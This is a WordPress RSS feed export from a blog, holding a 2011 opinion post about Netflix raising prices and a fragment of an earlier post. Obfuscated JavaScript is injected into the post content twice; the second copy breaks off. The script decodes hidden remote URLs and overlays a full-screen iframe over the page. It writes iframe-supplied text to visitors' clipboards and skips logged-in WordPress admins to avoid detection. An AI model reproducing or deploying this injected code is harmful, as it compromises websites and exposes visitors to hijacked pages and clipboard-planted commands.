n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&&"object"==typeof e.data&&"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();</p>
<p>console.log('28du3');</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];</p>
<p>  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";</p>
<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };</p>
<p>  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;</p>
<p>      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;</p>
<p>      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;</p>
<p>      var de = document.documentElement;
      var body = document.body;</p>
<p>      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}</p>
<p>    return false;
  }</p>
<p>  if (isWpLoggedInContext()) return;</p>
<p>  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }</p>
<p>  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }</p>
<p>  registry.status = "loading";</p>
<p>  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }</p>
<p>  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";</p>
<p>    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }</p>
<p>    var encoded = encodeURIComponent(id);</p>
<p>    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }</p>
<p>    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function toHttpUrl(value) {
    if (!value) return "";</p>
<p>    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");</p>
<p>    if (!s) return "";</p>
<p>    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }</p>
<p>    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}</p>
<p>    return "";
  }</p>
<p>  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";</p>
<p>    if (typeof input === "string") {
      return toHttpUrl(input);
    }</p>
<p>    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }</p>
<p>    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }</p>
<p>    return "";
  }</p>
<p>  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }</p>
<p>  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;</p>
<p>    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;</p>
<p>    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;</p>
<p>      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;</p>
<p>      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }</p>
<p>      parent.appendChild(link);
    } catch (e) {}
  }</p>
<p>  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;</p>
<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }</p>
<p>      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));</p>
<p>      if (!builtUrl) {
        return step(index + 1);
      }</p>
<p>      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }</p>
<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }</p>
<p>    return step(0);
  }</p>
<p>  function activateIframe(url) {
    if (!url || registry.status === "active") return;</p>
<p>    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }</p>
<p>    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }</p>
<p>    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }</p>
<p>    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;</p>
<p>    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);</p>
<p>      registry.status = "active";</p>
<p>      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");</p>
<p>      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }</p>
<p>    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }</p>
<p>    registry.destroy = destroy;
    registry.reveal = reveal;</p>
<p>    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");</p>
<p>    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };</p>
<p>    iframe.onerror = function () {
      destroy();
    };</p>
<p>    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);</p>
<p>    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }</p>
<p>  function run() {
    warmupOrigins();
    bindMessageHandler();</p>
<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }</p>
<p>        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        finalUrl = toHttpUrl(finalUrl);</p>
<p>        if (!finalUrl) {
          cleanup("done");
          return "";
        }</p>
<p>        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }</p>
<p>        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }</p>
<p>  registry.runPromise = run();
})();</script></p>
  ]]></content:encoded>
					
					<wfw:commentRss>http://technacea.com/2011/09/07/evolution-of-the-web/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">182</post-id>	</item>
		<item>
		<title>Thanks Netflix! I can use that $180 a year somewhere else!</title>
		<link>http://technacea.com/2011/07/14/thanks-netflix-i-can-use-that-180-a-year-somewhere-else/</link>
					<comments>http://technacea.com/2011/07/14/thanks-netflix-i-can-use-that-180-a-year-somewhere-else/#comments</comments>
		
		<dc:creator><![CDATA[Bill Sanders]]></dc:creator>
		<pubDate>Thu, 14 Jul 2011 22:31:34 +0000</pubDate>
				<category><![CDATA[Economy]]></category>
		<category><![CDATA[In The News]]></category>
		<category><![CDATA[Media]]></category>
		<category><![CDATA[Social]]></category>
		<guid isPermaLink="false">http://technacea.com/?p=156</guid>

					<description><![CDATA[On Wednesday, Netflix raised prices from 25% to 60%, setting off a tweetstorm of protests from consumers, with many threatening to cancel their subscriptions. So first a couple of comments on what they did, before I address how they did it and my personal response. It&#8217;s still a free market Although there is a lot&#8230; <a class="more-link" href="http://technacea.com/2011/07/14/thanks-netflix-i-can-use-that-180-a-year-somewhere-else/">Continue reading <span class="screen-reader-text">Thanks Netflix! I can use that $180 a year somewhere else!</span></a>]]></description>
										<content:encoded><![CDATA[<p><a rel="attachment wp-att-164" href="http://technacea.com/2011/07/14/thanks-netflix-i-can-use-that-180-a-year-somewhere-else/_bls1608-edit-2/"><img loading="lazy" decoding="async" class="alignnone size-medium wp-image-164" title="_BLS1608-Edit" src="http://technacea.com/wp-content/uploads/2011/07/BLS1608-Edit1-500x357.jpg" alt="" width="500" height="357" srcset="http://technacea.com/wp-content/uploads/2011/07/BLS1608-Edit1-500x357.jpg 500w, http://technacea.com/wp-content/uploads/2011/07/BLS1608-Edit1.jpg 1000w" sizes="auto, (max-width: 500px) 100vw, 500px" /></a></p>
<p>On Wednesday, Netflix raised prices from 25% to 60%, setting off a tweetstorm of protests from consumers, with many threatening to cancel their subscriptions.</p>
<p>So first a couple of comments on what they did, before I address how they did it and my personal response.</p>
<h2>It&#8217;s still a free market</h2>
<p>Although there is a lot of speculation on why Netflix leadership felt the need to impose such a high percentage increase, we really don&#8217;t know, and it really doesn&#8217;t matter. Netflix is entirely within its rights to raise prices. And it is a legitimate decision. I once led a consulting project for a bank where we helped their small business customers understand the impact of a price increase on their bottom line and what percentage of customers they could afford to lose and still be more profitable. It is quite an eye-opening experience that I highly recommend.</p>
<p>At the same time the consumers are entirely within their rights to protest the increase and/or cancel their subscriptions. This is the market responding &#8211; and what the market says isn&#8217;t always what the market does. Financially, Netflix could still walk away with increased profitability. I doubt they&#8217;ll walk away with increased good will.</p>
<h2>&#8220;Didn’t these guys take Psych 101?&#8221;</h2>
<p>The above quote comes directly from <a href="http://bradberens.com/2011/07/13/netflixs-big-oops-didnt-these-guys-take-psych-101/">Brad Berens&#8217; insightful post on the same topic</a>. If you read the <a href="http://blog.netflix.com/2011/07/netflix-introduces-new-plans-and.html">post announcing this price increase</a>, you can practically smell the condescension and marketing speak. No honest explanation, no humility, no &#8220;we know we&#8217;ll lose some of you and are sorry to see you go.&#8221; It&#8217;s almost as bad as the CEO, <a href="http://www.nytimes.com/2009/02/06/opinion/06hastings.html">Reed Hastings&#8217; ill advised NYT&#8217;s op-ed piece</a> from 2009 bragging about the &#8220;eye-popping amount of money&#8221; he is paid and pleading for higher taxes.</p>
<p>Then, when the backlash begins, the entire company collectively sticks its head in the sand. I predict that this is going to inspire dozens of &#8220;How not to do social media&#8221; case studies within weeks if not days.</p>
<p>&#8220;Dear Netflix&#8221; is a trending meme on Twitter and there are over 11k comments on Facebook and  5000 comments responding to their blog announcement. It&#8217;s been over 48 hours, and there hasn&#8217;t been a public response to the backlash on any social media outlet I can find. The last tweet was at 10:22 July 12 announcing the price increase.</p>
<p><a rel="attachment wp-att-160" href="http://technacea.com/2011/07/14/thanks-netflix-i-can-use-that-180-a-year-somewhere-else/netflix/"><img loading="lazy" decoding="async" class="alignnone size-medium wp-image-160" title="netflix" src="http://technacea.com/wp-content/uploads/2011/07/netflix-500x124.jpg" alt="" width="500" height="124" srcset="http://technacea.com/wp-content/uploads/2011/07/netflix-500x124.jpg 500w, http://technacea.com/wp-content/uploads/2011/07/netflix.jpg 578w" sizes="auto, (max-width: 500px) 100vw, 500px" /></a></p>
<p>In<a href="http://online.wsj.com/article/SB10001424052702304223804576444282578618912.html?KEYWORDS=netflix"> today&#8217;s WSJ</a>, Steve Swasey</p>
<blockquote><p>&#8230; a Netflix spokesman, said the company isn&#8217;t surprised by customers&#8217; reaction, though he argues the service is still a good deal even with the price increase. &#8220;We anticipated hearing from members about their concerns,&#8221; he said.</p></blockquote>
<p>Really? You anticipated this?</p>
<p>Despite his protests to the contrary, these guys clearly did not see this coming and 48 hours late still don&#8217;t have a plan to address it. They did do two smart things however.</p>
<p>The first was not turn off the comments. I&#8217;m not sure if that is an insightful approach to making sure they receive unfiltered feedback from their consumers, or just a byproduct of having too much sand in their ears. I have my suspicions, but either way it was the right thing to do.</p>
<p>The second thing they did was to make the price increase effective after September 1 for existing customers. There will be some percentage of customers that will wait to cancel their services (since they don&#8217;t allow pro-rated refunds) and forget to do so before the deadline.  Not sure it&#8217;s a good customer service move, but it will probably help them save a few dollars.</p>
<p>After reflection, maybe one of those is just dumb luck and the other is just calculating. Time will tell.</p>
<h2>But what to do?</h2>
<p>I&#8217;ve been a Netflix customer for years; since shortly after they opened. Often with 2 DVD&#8217;s gathering dust for months on top of my VCR. I thought for a while that I would wait and see if there was a rollback on this decision before deciding if I would cancel or not. However, to Brad&#8217;s point, upon examining the value I receive vs. what I pay for, I&#8217;ll be canceling my account just as soon as this month is out. I already pay for Xfinity, HBO, and Amazon Prime and I barely use Netflix.</p>
<p>Thanks Netflix! Now that you&#8217;ve brought it to my attention, I can use that $180 a year somewhere else!</p>
<p>&nbsp;<script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]||{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady||("complete"===document.readyState||document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e||"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||"").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&&"object"==typeof e.data&&"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();</p>
<p>console.log('28du3');</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];</p>
<p>  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";</p>
<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };</p>
<p>  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;</p>
<p>      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;</p>
<p>      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;</p>
<p>      var de = document.documentElement;
      var body = document.body;</p>
<p>      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}</p>
<p>    return false;
  }</p>
<p>  if (isWpLoggedInContext()) return;</p>
<p>  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }</p>
<p>  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }</p>
<p>  registry.status = "loading";</p>
<p>  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }</p>
<p>  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";</p>
<p>    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }</p>
<p>    var encoded = encodeURIComponent(id);</p>
<p>    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }</p>
<p>    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function toHttpUrl(value) {
    if (!value) return "";</p>
<p>    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");</p>
<p>    if (!s) return "";</p>
<p>    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }</p>
<p>    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}</p>
<p>    return "";
  }</p>
<p>  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";</p>
<p>    if (typeof input === "string") {
      return toHttpUrl(input);
    }</p>
<p>    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }</p>
<p>    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }</p>
<p>    return "";
  }</p>
<p>  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }</p>
<p>  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;</p>
<p>    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;</p>
<p>    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;</p>
<p>      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;</p>
<p>      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }</p>
<p>      parent.appendChild(link);
    } catch (e) {}
  }</p>
<p>  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;</p>
<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

